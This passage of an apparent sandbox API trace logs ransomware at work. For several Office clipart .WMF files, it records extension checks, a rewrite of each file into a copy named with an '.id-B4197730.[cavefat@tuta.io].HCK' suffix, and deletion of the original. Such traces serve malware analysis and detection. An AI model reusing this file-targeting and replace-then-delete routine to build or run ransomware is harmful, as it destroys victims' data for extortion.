lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0237.540] lstrlenW (lpString=".dbf") returned 4 [0237.540] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0237.540] lstrlenW (lpString=".1cd") returned 4 [0237.540] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0237.540] lstrlenW (lpString=".jpg") returned 4 [0237.540] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.540] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.540] lstrlenW (lpString="J0152704.WMF") returned 12 [0237.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0237.829] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=1652) returned 1 [0237.829] CloseHandle (hObject=0x554) returned 1 [0237.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf")) returned 0x220 [0237.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0237.830] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.830] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0237.832] GetLastError () returned 0x0 [0237.832] ReadFile (in: hFile=0x554, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x674, lpOverlapped=0x0) returned 1 [0237.833] WriteFile (in: hFile=0x560, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x680, lpOverlapped=0x0) returned 1 [0237.833] ReadFile (in: hFile=0x554, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0237.834] WriteFile (in: hFile=0x560, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0237.834] SetEndOfFile (hFile=0x560) returned 1 [0237.834] CloseHandle (hObject=0x560) returned 1 [0237.834] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.834] SetEndOfFile (hFile=0x554) returned 1 [0237.836] CloseHandle (hObject=0x554) returned 1 [0237.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152704.wmf")) returned 1 [0237.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0237.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0237.837] lstrlenW (lpString=".doc") returned 4 [0237.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.837] lstrlenW (lpString=".docx") returned 5 [0237.837] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0237.837] lstrlenW (lpString=".pdf") returned 4 [0237.838] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.838] lstrlenW (lpString=".xls") returned 4 [0237.838] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.838] lstrlenW (lpString=".xlsx") returned 5 [0237.838] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0237.838] lstrlenW (lpString=".ppt") returned 4 [0237.838] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0237.838] lstrlenW (lpString=".zip") returned 4 [0237.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.838] lstrlenW (lpString=".rar") returned 4 [0237.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.838] lstrlenW (lpString=".bz2") returned 4 [0237.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.838] lstrlenW (lpString=".7z") returned 3 [0237.838] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0237.838] lstrlenW (lpString=".dbf") returned 4 [0237.838] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0237.838] lstrlenW (lpString=".1cd") returned 4 [0237.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0237.838] lstrlenW (lpString=".jpg") returned 4 [0237.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0237.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0237.838] lstrlenW (lpString=".doc") returned 4 [0237.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.838] lstrlenW (lpString=".docx") returned 5 [0237.838] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0237.838] lstrlenW (lpString=".pdf") returned 4 [0237.838] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.838] lstrlenW (lpString=".xls") returned 4 [0237.838] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.838] lstrlenW (lpString=".xlsx") returned 5 [0237.838] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0237.838] lstrlenW (lpString=".ppt") returned 4 [0237.838] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0237.838] lstrlenW (lpString=".zip") returned 4 [0237.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.838] lstrlenW (lpString=".rar") returned 4 [0237.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.838] lstrlenW (lpString=".bz2") returned 4 [0237.839] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.839] lstrlenW (lpString=".7z") returned 3 [0237.839] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0237.839] lstrlenW (lpString=".dbf") returned 4 [0237.839] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0237.839] lstrlenW (lpString=".1cd") returned 4 [0237.839] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152704.WMF") returned 68 [0237.839] lstrlenW (lpString=".jpg") returned 4 [0237.839] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.839] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.839] lstrlenW (lpString="J0152876.WMF") returned 12 [0237.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0237.840] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=7876) returned 1 [0237.840] CloseHandle (hObject=0x554) returned 1 [0237.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf")) returned 0x220 [0237.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0237.841] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.841] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0237.842] GetLastError () returned 0x0 [0237.842] ReadFile (in: hFile=0x554, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x1ec4, lpOverlapped=0x0) returned 1 [0237.844] WriteFile (in: hFile=0x560, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x1ed0, lpOverlapped=0x0) returned 1 [0237.844] ReadFile (in: hFile=0x554, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0237.844] WriteFile (in: hFile=0x560, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0237.844] SetEndOfFile (hFile=0x560) returned 1 [0237.845] CloseHandle (hObject=0x560) returned 1 [0237.845] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.845] SetEndOfFile (hFile=0x554) returned 1 [0237.847] CloseHandle (hObject=0x554) returned 1 [0237.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf")) returned 1 [0237.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0237.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0237.848] lstrlenW (lpString=".doc") returned 4 [0237.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.848] lstrlenW (lpString=".docx") returned 5 [0237.848] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0237.848] lstrlenW (lpString=".pdf") returned 4 [0237.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.848] lstrlenW (lpString=".xls") returned 4 [0237.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.848] lstrlenW (lpString=".xlsx") returned 5 [0237.848] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0237.848] lstrlenW (lpString=".ppt") returned 4 [0237.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0237.848] lstrlenW (lpString=".zip") returned 4 [0237.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.848] lstrlenW (lpString=".rar") returned 4 [0237.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.848] lstrlenW (lpString=".bz2") returned 4 [0237.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.848] lstrlenW (lpString=".7z") returned 3 [0237.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0237.848] lstrlenW (lpString=".dbf") returned 4 [0237.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0237.849] lstrlenW (lpString=".1cd") returned 4 [0237.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0237.849] lstrlenW (lpString=".jpg") returned 4 [0237.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0237.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0237.849] lstrlenW (lpString=".doc") returned 4 [0237.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.849] lstrlenW (lpString=".docx") returned 5 [0237.849] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0237.849] lstrlenW (lpString=".pdf") returned 4 [0237.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.849] lstrlenW (lpString=".xls") returned 4 [0237.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.849] lstrlenW (lpString=".xlsx") returned 5 [0237.849] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0237.849] lstrlenW (lpString=".ppt") returned 4 [0237.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0237.849] lstrlenW (lpString=".zip") returned 4 [0237.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.849] lstrlenW (lpString=".rar") returned 4 [0237.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.849] lstrlenW (lpString=".bz2") returned 4 [0237.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.849] lstrlenW (lpString=".7z") returned 3 [0237.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0237.849] lstrlenW (lpString=".dbf") returned 4 [0237.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0237.849] lstrlenW (lpString=".1cd") returned 4 [0237.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68 [0237.849] lstrlenW (lpString=".jpg") returned 4 [0237.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.849] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0237.850] lstrlenW (lpString="J0152878.WMF") returned 12 [0237.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0237.851] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=14888) returned 1 [0237.851] CloseHandle (hObject=0x554) returned 1 [0237.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf")) returned 0x220 [0237.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0237.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0237.851] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.852] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0237.852] GetLastError () returned 0x0 [0237.852] ReadFile (in: hFile=0x554, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x3a28, lpOverlapped=0x0) returned 1 [0237.854] WriteFile (in: hFile=0x560, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0x3a30, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0x3a30, lpOverlapped=0x0) returned 1 [0237.855] ReadFile (in: hFile=0x554, lpBuffer=0x4224020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0237.855] WriteFile (in: hFile=0x560, lpBuffer=0x4224020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4224020*, lpNumberOfBytesWritten=0x35dfc94*=0xec, lpOverlapped=0x0) returned 1 [0237.855] SetEndOfFile (hFile=0x560) returned 1 [0237.855] CloseHandle (hObject=0x560) returned 1 [0237.855] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0237.855] SetEndOfFile (hFile=0x554) returned 1 [0237.857] CloseHandle (hObject=0x554) returned 1 [0237.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0237.857] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf")) returned 1 [0237.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0237.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0237.858] lstrlenW (lpString=".doc") returned 4 [0237.858] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.858] lstrlenW (lpString=".docx") returned 5 [0237.858] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0237.858] lstrlenW (lpString=".pdf") returned 4 [0237.858] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.858] lstrlenW (lpString=".xls") returned 4 [0237.858] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.858] lstrlenW (lpString=".xlsx") returned 5 [0237.858] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0237.858] lstrlenW (lpString=".ppt") returned 4 [0237.858] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0237.859] lstrlenW (lpString=".zip") returned 4 [0237.859] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.859] lstrlenW (lpString=".rar") returned 4 [0237.859] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.859] lstrlenW (lpString=".bz2") returned 4 [0237.859] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.859] lstrlenW (lpString=".7z") returned 3 [0237.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0237.859] lstrlenW (lpString=".dbf") returned 4 [0237.859] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0237.859] lstrlenW (lpString=".1cd") returned 4 [0237.859] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0237.859] lstrlenW (lpString=".jpg") returned 4 [0237.859] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0237.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0237.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0237.859] lstrlenW (lpString=".doc") returned 4 [0237.859] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0237.859] lstrlenW (lpString=".docx") returned 5 [0237.859] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0237.859] lstrlenW (lpString=".pdf") returned 4 [0237.859] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0237.859] lstrlenW (lpString=".xls") returned 4 [0237.859] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0237.859] lstrlenW (lpString=".xlsx") returned 5 [0237.859] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0237.859] lstrlenW (lpString=".ppt") returned 4 [0237.859] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0237.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0237.859] lstrlenW (lpString=".zip") returned 4 [0237.859] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0237.859] lstrlenW (lpString=".rar") returned 4 [0237.859] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0237.859] lstrlenW (lpString=".bz2") returned 4 [0237.859] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0237.859] lstrlenW (lpString=".7z") returned 3 [0237.859] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0237.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0237.859] lstrlenW (lpString=".dbf") returned 4 [0237.860] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0237.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0237.860] lstrlenW (lpString=".1cd") returned 4 [0237.860] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0237.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0237.860] lstrlenW (lpString=".jpg") returned 4 [0237.860] lstrcmpiW 